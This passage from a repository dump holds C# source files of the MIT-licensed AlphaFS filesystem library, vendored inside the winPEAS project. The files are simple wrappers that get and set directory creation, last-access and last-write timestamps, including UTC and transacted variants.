    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      #region .NET\n\n      /// <summary>Gets the creation date and time, in Coordinated Universal Time (UTC) format, of the specified directory.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the creation date and time for the specified directory. This value is expressed in UTC time.</returns>\n      /// <param name=\"path\">The directory for which to obtain creation date and time information, in Coordinated Universal Time (UTC) format.</param>\n      [SecurityCritical]\n      public static DateTime GetCreationTimeUtc(string path)\n      {\n         return File.GetCreationTimeCore(null, path, true, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Gets the creation date and time, in Coordinated Universal Time (UTC) format, of the specified directory.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the creation date and time for the specified directory. This value is expressed in UTC time.</returns>\n      /// <param name=\"path\">The directory for which to obtain creation date and time information, in Coordinated Universal Time (UTC) format.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static DateTime GetCreationTimeUtc(string path, PathFormat pathFormat)\n      {\n         return File.GetCreationTimeCore(null, path, true, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.GetCreationTimeUtcTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Gets the creation date and time, in Coordinated Universal Time (UTC) format, of the specified directory.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the creation date and time for the specified directory. This value is expressed in UTC time.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to obtain creation date and time information, in Coordinated Universal Time (UTC) format.</param>\n      [SecurityCritical]\n      public static DateTime GetCreationTimeUtcTransacted(KernelTransaction transaction, string path)\n      {\n         return File.GetCreationTimeCore(transaction, path, true, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the creation date and time, in Coordinated Universal Time (UTC) format, of the specified directory.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the creation date and time for the specified directory. This value is expressed in UTC time.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to obtain creation date and time information, in Coordinated Universal Time (UTC) format.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static DateTime GetCreationTimeUtcTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return File.GetCreationTimeCore(transaction, path, true, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.GetLastAccessTime.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      #region .NET\n\n      /// <summary>Gets the date and time that the specified directory was last accessed.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the date and time that the specified directory was last accessed. This value is expressed in local time.</returns>\n      /// <param name=\"path\">The directory for which to obtain access date and time information.</param>\n      [SecurityCritical]\n      public static DateTime GetLastAccessTime(string path)\n      {\n         return File.GetLastAccessTimeCore(null, path, false, PathFormat.RelativePath).ToLocalTime();\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Gets the date and time that the specified directory was last accessed.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the date and time that the specified directory was last accessed. This value is expressed in local time.</returns>\n      /// <param name=\"path\">The directory for which to obtain access date and time information.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static DateTime GetLastAccessTime(string path, PathFormat pathFormat)\n      {\n         return File.GetLastAccessTimeCore(null, path, false, pathFormat).ToLocalTime();\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.GetLastAccessTimeTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Gets the date and time that the specified directory was last accessed.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the date and time that the specified directory was last accessed. This value is expressed in local time.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to obtain access date and time information.</param>\n      [SecurityCritical]\n      public static DateTime GetLastAccessTimeTransacted(KernelTransaction transaction, string path)\n      {\n         return File.GetLastAccessTimeCore(transaction, path, false, PathFormat.RelativePath).ToLocalTime();\n      }\n\n\n      /// <summary>[AlphaFS] Gets the date and time that the specified directory was last accessed.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the date and time that the specified directory was last accessed. This value is expressed in local time.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to obtain access date and time information.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static DateTime GetLastAccessTimeTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return File.GetLastAccessTimeCore(transaction, path, false, pathFormat).ToLocalTime();\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.GetLastAccessTimeUtc.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      #region .NET\n\n      /// <summary>Gets the date and time, in coordinated universal time (UTC), that the specified directory was last accessed.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the date and time that the specified directory was last accessed. This value is expressed in local time.</returns>\n      /// <param name=\"path\">The directory for which to obtain access date and time information.</param>\n      [SecurityCritical]\n      public static DateTime GetLastAccessTimeUtc(string path)\n      {\n         return File.GetLastAccessTimeCore(null, path, true, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Gets the date and time, in coordinated universal time (UTC), that the specified directory was last accessed.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the date and time that the specified directory was last accessed. This value is expressed in local time.</returns>\n      /// <param name=\"path\">The directory for which to obtain access date and time information.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static DateTime GetLastAccessTimeUtc(string path, PathFormat pathFormat)\n      {\n         return File.GetLastAccessTimeCore(null, path, true, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.GetLastAccessTimeUtcTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Gets the date and time, in coordinated universal time (UTC), that the specified directory was last accessed.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the date and time that the specified directory was last accessed. This value is expressed in local time.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to obtain access date and time information.</param>\n      [SecurityCritical]\n      public static DateTime GetLastAccessTimeUtcTransacted(KernelTransaction transaction, string path)\n      {\n         return File.GetLastAccessTimeCore(transaction, path, true, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the date and time, in coordinated universal time (UTC), that the specified directory was last accessed.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the date and time that the specified directory was last accessed. This value is expressed in local time.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to obtain access date and time information.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static DateTime GetLastAccessTimeUtcTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return File.GetLastAccessTimeCore(transaction, path, true, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.GetLastWriteTime.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      #region .NET\n\n      /// <summary>Gets the date and time that the specified directory was last written to.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the date and time that the specified directory was last written to. This value is expressed in local time.</returns>\n      /// <param name=\"path\">The directory for which to obtain write date and time information.</param>\n      [SecurityCritical]\n      public static DateTime GetLastWriteTime(string path)\n      {\n         return File.GetLastWriteTimeCore(null, path, false, PathFormat.RelativePath).ToLocalTime();\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Gets the date and time that the specified directory was last written to.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the date and time that the specified directory was last written to. This value is expressed in local time.</returns>\n      /// <param name=\"path\">The directory for which to obtain write date and time information.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static DateTime GetLastWriteTime(string path, PathFormat pathFormat)\n      {\n         return File.GetLastWriteTimeCore(null, path, false, pathFormat).ToLocalTime();\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.GetLastWriteTimeTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Gets the date and time that the specified directory was last written to.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the date and time that the specified directory was last written to. This value is expressed in local time.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to obtain write date and time information.</param>\n      [SecurityCritical]\n      public static DateTime GetLastWriteTimeTransacted(KernelTransaction transaction, string path)\n      {\n         return File.GetLastWriteTimeCore(transaction, path, false, PathFormat.RelativePath).ToLocalTime();\n      }\n\n\n      /// <summary>[AlphaFS] Gets the date and time that the specified directory was last written to.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the date and time that the specified directory was last written to. This value is expressed in local time.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to obtain write date and time information.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static DateTime GetLastWriteTimeTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return File.GetLastWriteTimeCore(transaction, path, false, pathFormat).ToLocalTime();\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.GetLastWriteTimeUtc.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      #region .NET\n\n      /// <summary>Gets the date and time, in coordinated universal time (UTC) time, that the specified directory was last written to.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the date and time that the specified directory was last written to. This value is expressed in local time.</returns>\n      /// <param name=\"path\">The directory for which to obtain write date and time information.</param>\n      [SecurityCritical]\n      public static DateTime GetLastWriteTimeUtc(string path)\n      {\n         return File.GetLastWriteTimeCore(null, path, true, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Gets the date and time, in coordinated universal time (UTC) time, that the specified directory was last written to.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the date and time that the specified directory was last written to. This value is expressed in local time.</returns>\n      /// <param name=\"path\">The directory for which to obtain write date and time information.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static DateTime GetLastWriteTimeUtc(string path, PathFormat pathFormat)\n      {\n         return File.GetLastWriteTimeCore(null, path, true, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.GetLastWriteTimeUtcTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Gets the date and time, in coordinated universal time (UTC) time, that the specified directory was last written to.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the date and time that the specified directory was last written to. This value is expressed in local time.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to obtain write date and time information.</param>\n      [SecurityCritical]\n      public static DateTime GetLastWriteTimeUtcTransacted(KernelTransaction transaction, string path)\n      {\n         return File.GetLastWriteTimeCore(transaction, path, true, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the date and time, in coordinated universal time (UTC) time, that the specified directory was last written to.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the date and time that the specified directory was last written to. This value is expressed in local time.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to obtain write date and time information.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static DateTime GetLastWriteTimeUtcTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return File.GetLastWriteTimeCore(transaction, path, true, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.SetCreationTime.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      #region .NET\n\n      /// <summary>Sets the date and time the directory was created.</summary>\n      /// <param name=\"path\">The directory for which to set the creation date and time information.</param>\n      /// <param name=\"creationTime\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      [SecurityCritical]\n      public static void SetCreationTime(string path, DateTime creationTime)\n      {\n         File.SetFsoDateTimeCore(null, false, path, creationTime.ToUniversalTime(), null, null, false, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Sets the date and time the directory was created.</summary>\n      /// <param name=\"path\">The directory for which to set the creation date and time information.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <param name=\"creationTime\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      [SecurityCritical]\n      public static void SetCreationTime(string path, DateTime creationTime, PathFormat pathFormat)\n      {\n         File.SetFsoDateTimeCore(null, false, path, creationTime.ToUniversalTime(), null, null, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time the directory was created.</summary>\n      /// <param name=\"path\">The directory for which to set the creation date and time information.</param>\n      /// <param name=\"creationTime\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void SetCreationTime(string path, DateTime creationTime, bool modifyReparsePoint)\n      {\n         File.SetFsoDateTimeCore(null, false, path, creationTime.ToUniversalTime(), null, null, modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time the directory was created.</summary>\n      /// <param name=\"path\">The directory for which to set the creation date and time information.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <param name=\"creationTime\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void SetCreationTime(string path, DateTime creationTime, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         File.SetFsoDateTimeCore(null, false, path, creationTime.ToUniversalTime(), null, null, modifyReparsePoint, pathFormat);\n      }\n   }\n}\n"
  },
  {
